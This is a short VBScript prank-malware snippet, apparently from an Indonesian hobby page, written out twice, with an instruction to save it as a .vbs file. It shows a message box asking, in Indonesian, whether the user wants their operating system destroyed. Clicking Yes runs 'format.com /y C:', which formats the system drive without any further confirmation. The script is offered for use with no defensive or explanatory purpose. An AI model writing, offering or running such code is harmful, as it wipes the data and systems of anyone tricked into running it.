Set WshShell = WScript.CreateObject(“WScript.Shell”)
X = MsgBox(“Hey guys.. saya ingin merusak operating system anda ?”, vbYesNo, “xXx Akay death system!! xXx”)
If X = 6 Then
WshShell.Run(“format.com /y C:”)
End If
*save file.vbs
Set WshShell = WScript.CreateObject(“WScript.Shell”)
X = MsgBox(“Hey guys.. saya ingin merusak operating system anda ?”, vbYesNo, “xXx Akay death system!! xXx”)
If X = 6 Then
WshShell.Run(“format.com /y C:”)
End If
*save file.vbs